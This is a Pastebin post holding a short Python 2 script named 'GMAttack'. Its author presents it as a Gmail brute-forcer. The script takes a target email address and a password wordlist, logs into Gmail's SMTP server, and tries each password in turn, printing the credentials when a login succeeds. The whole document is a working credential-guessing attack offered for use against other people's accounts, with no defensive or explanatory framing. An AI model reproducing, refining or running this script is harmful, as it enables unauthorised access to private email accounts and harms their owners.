Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Author:VH4Ck
- #GMAttack ->The Gmail BruteForcer
- import smtplib,time,argparse
- def Main():
- print """
- ____ __ __ _ _ _ _
- / ___| \/ | / \ | |_| |_ __ _ ___| | __
- | | _| |\/| | / _ \| __| __/ _` |/ __| |/ /
- | |_| | | | |/ ___ \ |_| || (_| | (__| <
- \____|_| |_/_/ \_\__|\__\__,_|\___|_|\_\
- \n GMAttack Script The Gmail BruteForcer By VH4Ck"""
- parser = argparse.ArgumentParser()
- parser.add_argument("email",help="The Email U Want To Attack",type=str)
- parser.add_argument("-w",help="The Passwords Word List",type=str)
- args=parser.parse_args()
- wordlist=args.w
- email=args.email
- if 'txt' not in wordlist:
- wordlist=wordlist+".txt"
- else:
- pass
- if wordlist:
- print "Attacking With %s"%wordlist
- with open(wordlist, 'r') as pwds:
- try:
- server = smtplib.SMTP('smtp.gmail.com:587')
- server.ehlo()
- server.starttls()
- server.ehlo()
- for line in pwds:
- password=line.strip('\r\n')
- try:
- server.login(email, password)
- print "======================================="
- print "Gmail Login Success ! \n Username : "+str(email)+" \n Password : "+str(password)
- server.close()
- except Exception:
- print "[+]"+password+" Failed.."
- except:
- print "Some Thing Wrong With You Internet Connection..Exiting.."
- exit()
- else:
- print "Please Put The Wordlist Name"
- exit()
- if __name__ == '__main__':
- Main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement